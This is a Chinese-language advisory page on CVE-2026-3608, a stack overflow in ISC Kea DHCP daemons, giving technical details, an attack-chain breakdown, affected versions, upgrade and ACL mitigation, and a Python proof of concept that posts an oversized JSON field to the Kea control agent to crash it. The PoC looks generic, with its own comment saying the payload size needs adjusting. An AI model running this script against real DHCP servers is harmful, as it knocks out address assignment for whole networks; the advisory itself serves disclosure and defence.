IPBUF安全漏洞报告
English
CVE-2026-3608 CVSS 7.5 高危

CVE-2026-3608 ISC Kea DHCP 堆栈溢出漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-3608
漏洞类型
堆栈溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ISC Kea DHCP Server

相关标签

堆栈溢出拒绝服务ISC KeaDHCPCVE-2026-3608远程代码执行

漏洞概述

ISC Kea DHCP 服务器存在严重的安全漏洞,攻击者可通过向 kea-ctrl-agent、kea-dhcp-ddns 等守护进程的 API 套接字或 HA 监听器发送恶意构造的消息,触发堆栈溢出错误。该漏洞导致受影响的服务进程崩溃退出,造成拒绝服务。受影响版本包括 Kea 2.6.0 至 2.6.4 以及 3.0.0 至 3.0.2。由于无需认证且攻击复杂度低,该漏洞对网络基础设施的连续性构成严重威胁。

技术细节

该漏洞源于 ISC Kea DHCP 守护进程在处理通过 API 套接字或高可用性(HA)监听器接收的网络消息时,缺乏对输入数据长度的严格边界检查。具体而言,当解析恶意构造的 JSON 控制消息时,特定的字段数据长度超出了栈缓冲区的预分配容量。由于程序未执行足够的截断或拒绝操作,导致数据溢出并覆盖了栈上的返回地址或关键内存区域。这种内存破坏行为导致 kea-ctrl-agent、kea-dhcp4、kea-dhcp6 或 kea-dhcp-ddns 守护进程崩溃并异常终止。虽然当前 CVSS 评分主要反映了对可用性的影响(A:H),即服务拒绝,但堆栈溢出本质上属于严重的内存破坏漏洞,理论上存在被进一步利用以执行任意代码的风险。攻击者无需用户交互,即可通过网络向量远程触发该逻辑缺陷。

攻击链分析

STEP 1
侦察
攻击者扫描网络端口,识别目标主机上运行的 ISC Kea DHCP 服务及其控制代理端口(默认为 8000)或 HA 端口。
STEP 2
武器化
攻击者根据漏洞原理,构造一个包含超长字符串参数的恶意 JSON 数据包,旨在触发堆栈溢出。
STEP 3
交付
攻击者通过 HTTP 请求将恶意数据包发送至 Kea 守护进程的 API 套接字或 HA 监听接口。
STEP 4
利用
Kea 守护进程解析接收到的恶意消息,由于未验证长度,导致缓冲区溢出,覆盖栈内存。
STEP 5
影响
受影响的守护进程因堆栈溢出错误而崩溃退出,DHCP 服务中断,导致网络内客户端无法获取 IP 地址。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-3608 (ISC Kea DHCP Stack Overflow) This script sends a maliciously crafted message to the Kea Control Agent. """ import requests import json import sys def send_exploit(target_ip, target_port=8000): url = f"http://{target_ip}:{target_port}/" # Craft a malicious command with an oversized parameter to trigger stack overflow # Adjust the payload size based on the specific vulnerability analysis malicious_payload = { "command": "list-commands", "arguments": { "padding": "A" * 10000 # Oversized buffer to trigger overflow } } try: headers = {'Content-Type': 'application/json'} response = requests.post(url, data=json.dumps(malicious_payload), headers=headers, timeout=5) print(f"[+] Payload sent to {url}") print(f"[+] Response status code: {response.status_code}") print("[!] Check if the Kea daemon has crashed.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[!] This might indicate the service has crashed (DoS).") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8000 send_exploit(target, port)

影响范围

ISC Kea 2.6.0 - 2.6.4
ISC Kea 3.0.0 - 3.0.2

防御指南

临时缓解措施
建议立即升级到官方发布的修复版本(2.6.5 或 3.0.3)。如果暂时无法升级,应通过网络访问控制列表(ACL)限制对 Kea API 套接字和 HA 监听端口的访问,仅允许本地回环或受信任的管理主机连接,以阻断远程攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表